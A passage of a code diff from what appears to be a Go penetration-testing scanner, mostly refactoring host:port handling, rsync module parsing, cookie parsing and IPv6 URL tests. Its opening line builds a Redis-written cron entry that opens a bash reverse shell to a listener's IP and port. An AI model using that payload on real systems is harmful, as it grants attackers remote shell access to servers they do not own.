cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)
plugins/services/rmi.go
+1 -1
View File
@@ -29,7 +29,7 @@ func (p *RMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
timeout = 3 * time.Second
}
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
if err != nil {
return &ScanResult{Success: false, Service: "rmi"}
plugins/services/rsync.go
+15 -3
View File
@@ -125,11 +125,23 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
}
// 提取第一个模块名
firstModuleLine := modules[0]
firstModule := strings.Fields(firstModuleLine)[0]
var firstModule string
for _, moduleLine := range modules {
if fields := strings.Fields(moduleLine); len(fields) > 0 {
firstModule = fields[0]
break
}
}
if firstModule == "" {
return &AuthResult{
Success: false,
ErrorType: ErrorTypeUnknown,
Error: fmt.Errorf("%s", i18n.GetText("rsync_modules_failed")),
}
}
// 使用 go-rsync 库进行认证测试
address := fmt.Sprintf("%s:%d", info.Host, info.Port)
address := info.Target()
dummyFS := &dummyStorage{}
_, err := rsync.SocketClient(
plugins/services/smb_protocol.go
+2 -2
View File
@@ -203,7 +203,7 @@ var (
// probeTarget 探测目标SMB信息（协议版本、系统信息）
func probeTarget(ctx context.Context, host string, port int, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) {
target := fmt.Sprintf("%s:%d", host, port)
target := net.JoinHostPort(host, strconv.Itoa(port))
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
@@ -485,7 +485,7 @@ func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port
timeoutCtx, cancel := context.WithTimeout(ctx, timeout)
defer cancel()
conn, err := session.DialTCP(ctx, "tcp", fmt.Sprintf("%s:%d", host, port), timeout)
conn, err := session.DialTCP(ctx, "tcp", net.JoinHostPort(host, strconv.Itoa(port)), timeout)
if err != nil {
return &AuthResult{
Success: false,
plugins/services/snmp.go
+1 -2
View File
@@ -28,7 +28,7 @@ func (p *SNMPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
timeout = 3 * time.Second
}
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
target := info.Target()
result := p.probe(ctx, target, "public", timeout, session)
if result == nil {
@@ -257,4 +257,3 @@ func init() {
return NewSNMPPlugin()
}, []int{161})
}
plugins/services/tftp.go
+1 -1
View File
@@ -26,7 +26,7 @@ func (p *TFTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
timeout = 3 * time.Second
}
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
target := info.Target()
conn, err := session.DialUDP(ctx, target, timeout)
if err != nil {
return &ScanResult{Success: false, Service: "tftp"}
plugins/services/zookeeper.go
+1 -2
View File
@@ -4,7 +4,6 @@ package services
import (
"context"
"fmt"
"strings"
"time"
@@ -26,7 +25,7 @@ func (p *ZooKeeperPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
timeout = 3 * time.Second
}
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
if err != nil {
return &ScanResult{Success: false, Service: "zookeeper"}
webscan/lib/poc_executor.go
+6 -4
View File
@@ -374,15 +374,17 @@ func optimizeCookies(rawCookie string) string {
var output strings.Builder
// 解析Cookie键值对
pairs := strings.Split(rawCookie, "; ")
pairs := strings.Split(rawCookie, ";")
for _, pair := range pairs {
pair = strings.TrimSpace(pair)
nameVal := strings.SplitN(pair, "=", 2)
if len(nameVal) < 2 {
continue
}
name := strings.TrimSpace(nameVal[0])
// 跳过Cookie属性
switch strings.ToLower(nameVal[0]) {
switch strings.ToLower(name) {
case "expires", "max-age", "path", "domain",
"version", "comment", "secure", "samesite", "httponly":
continue
@@ -392,9 +394,9 @@ func optimizeCookies(rawCookie string) string {
if output.Len() > 0 {
output.WriteString("; ")
}
output.WriteString(nameVal[0])
output.WriteString(name)
output.WriteString("=")
output.WriteString(strings.Join(nameVal[1:], "="))
output.WriteString(nameVal[1])
}
return output.String()
webscan/lib/poc_executor_test.go
+10
View File
@@ -181,6 +181,16 @@ func TestOptimizeCookies(t *testing.T) {
raw: "sid=simple",
want: "sid=simple",
},
{
name: "分号后无空格",
raw: "token=xyz;user=admin;Path=/app;HttpOnly",
want: "token=xyz; user=admin",
},
{
name: "键名周围空格",
raw: " token =xyz; user =admin; Path =/",
want: "token=xyz; user=admin",
},
{
name: "空字符串",
raw: "",
webscan/web_scan.go
+3 -1
View File
@@ -5,6 +5,7 @@ import (
"embed"
"errors"
"fmt"
"net"
"net/http"
"net/url"
"os"
@@ -104,7 +105,7 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) {
func buildTargetURL(info *common.HostInfo) (string, error) {
// 自动构建URL
if info.URL == "" {
info.URL = fmt.Sprintf("%s%s:%d", protocolHTTP, info.Host, info.Port)
info.URL = protocolHTTP + net.JoinHostPort(info.Host, fmt.Sprint(info.Port))
} else if !hasProtocolPrefix(info.URL) {
info.URL = protocolHTTP + info.URL
}
@@ -120,6 +121,7 @@ func buildTargetURL(info *common.HostInfo) (string, error) {
// hasProtocolPrefix 检查URL是否包含协议前缀
func hasProtocolPrefix(urlStr string) bool {
urlStr = strings.ToLower(urlStr)
return strings.HasPrefix(urlStr, protocolHTTP) || strings.HasPrefix(urlStr, protocolHTTPS)
}
webscan/web_scan_test.go
+22 -2
View File
@@ -114,6 +114,26 @@ func TestBuildTargetURL(t *testing.T) {
expected: "http://test.example.com:9090",
expectError: false,
},
{
name: "ipv6 builds bracketed host and port",
hostInfo: &common.HostInfo{
Host: "2001:db8::1",
Port: 8080,
URL: "",
},
expected: "http://[2001:db8::1]:8080",
expectError: false,
},
{
name: "ipv6 url without protocol keeps brackets",
hostInfo: &common.HostInfo{
Host: "2001:db8::1",
Port: 443,
URL: "[2001:db8::1]:443/admin",
},
expected: "http://[2001:db8::1]:443",
expectError: false,
},
}
for _, tt := range tests {
@@ -190,8 +210,8 @@ func TestHasProtocolPrefix(t *testing.T) {
{"only http", "http://", true},
{"only https", "https://", true},
{"http in middle", "example.http://com", false},
{"uppercase HTTP", "HTTP://example.com", false}, // 区分大小写
{"uppercase HTTPS", "HTTPS://example.com", false},
{"uppercase HTTP", "HTTP://example.com", true},
{"uppercase HTTPS", "HTTPS://example.com", true},
{"ftp protocol", "ftp://example.com", false},
{"http no slashes", "http:example.com", false},
{"partial prefix", "http:/example.com", false},